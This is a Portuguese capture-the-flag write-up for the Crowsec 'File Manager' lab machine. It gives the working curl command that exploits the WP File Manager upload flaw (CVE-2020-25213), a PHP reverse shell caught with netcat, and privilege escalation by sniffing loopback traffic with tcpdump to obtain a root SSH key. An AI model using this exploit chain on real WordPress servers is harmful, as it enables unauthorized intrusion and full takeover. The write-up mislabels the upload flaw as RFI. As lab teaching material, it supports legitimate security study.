Crowsec File Manager Write-up
Resolução da maquina File Manager do laboratório da Crowsec.
| ||
A máquina File Manager está disponível no laboratório da Crowsec, para ter acesso a esta máquina é necessário ser aluno do Webhacking-na-pratica 2.0. | ||
A máquina está classificada como nível Médio e seu sistema operacional é Linux. | ||
Reconhecimento | ||
A primeira etapa é fazer o reconhecimento dos serviços executado na máquina. | ||
Utilizei o Nmap para este propósito, com o comando: | ||
nmap -sV -v <IP> | ||
Resultado: | ||
| ||
Iniciei o reconhecimento da aplicação web. | ||
| ||
Pagina inicial era o index do apache2. | ||
Então, executei o wfuzz para descobrir arquivos e diretórios disponíveis no servidor web. | ||
Executei o wfuzz com o comando: | ||
wfuzz -c -z file,common.txt --hc 404 http://<IP>/FUZZ | ||
Resultado: | ||
| ||
Possivelmente, um sistema Wordpress sendo executado. | ||
Para confirmar tentei acessar o /wordpress/wp-admin, o resutado: | ||
| ||
Confirmei a existência do Wordpress. | ||
Para fazer um reconhecimento do Wordpress, executei o wpscan com o comando: | ||
wpscan --url http://10.9.2.14/wordpress/ -e ap --plugins-detection aggressive -t 100 | ||
A saída da ferramenta é muito extensa, então mostrarei o mais importante que encontrei, um plugin desatualizado e vulnerável(CVE 2020-25213) instalado no Wordpress. | ||
| ||
Confirmando a Vulnerabilidade | ||
Criei um arquivo /tmp/phpinfo.php,
com o conteúdo: | ||
| ||
Executei o comando: | ||
curl -ks --max-time 5 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.90 Safari/537.36" -F "reqid=17457a1fe6959" -F "cmd=upload" -F "target=l1_Lw" -F "mtime[]=1576045135" -F "upload[]=@ //tmp/phpinfo.php" "http://IP/wordpress/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php" | ||
Acessei o phpinfo.php através do caminho: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/phpinfo.php | ||
Eeee | ||
| ||
RFI(Remote File Inclusion) confirmado!! | ||
Acessando o Servidor | ||
Configurei uma reverse shell em php com meu ip e porta: | ||
| ||
Salvei e fiz o mesmo processo para enviar o arquivo para o servidor. | ||
Configurei o netcat para escutar na porta 443 | ||
| ||
E acessei a reverse shell no servidor: /wordpress/wp-content/plugins/wp-file-manager/lib/php/../files/shell.php | ||
Eee | ||
| ||
Shell!! | ||
| ||
Escalando Privilegio | ||
Executei o comando : | ||
netstat -lnvp | ||
resultado: | ||
| ||
Tinha um serviço escutando na porta 1027, executei o tcpdump para capturar os pacotes que estão trafegando nessa porta. | ||
tcpdump -i lo port 1027 -c 10 -A -vvv | ||
depois de um tempo capturando os pacotes, obtive o seguinte resultado: | ||
| ||
Com essas informações, executei o curl com o comando: | ||
curl http://localhost:1027/?admin=66e9bb20c93218fe2b82cccb70cd3519 | ||
Resultado: | ||
| ||
Obtive uma chave privada do ssh. | ||
| ||
Criei um arquivo chamado id_rsa e salve a chave, configurei a permissão para 400 e executei o comando: | ||
ssh -i id_rsa root@10.9.2.14. | ||
Eeeee | ||
| ||
root!!! | ||
| ||
Flags | ||
cat /flag.txt | ||
| ||
cat /root.txt | ||
| ||
| ||
Até a próxima :D |
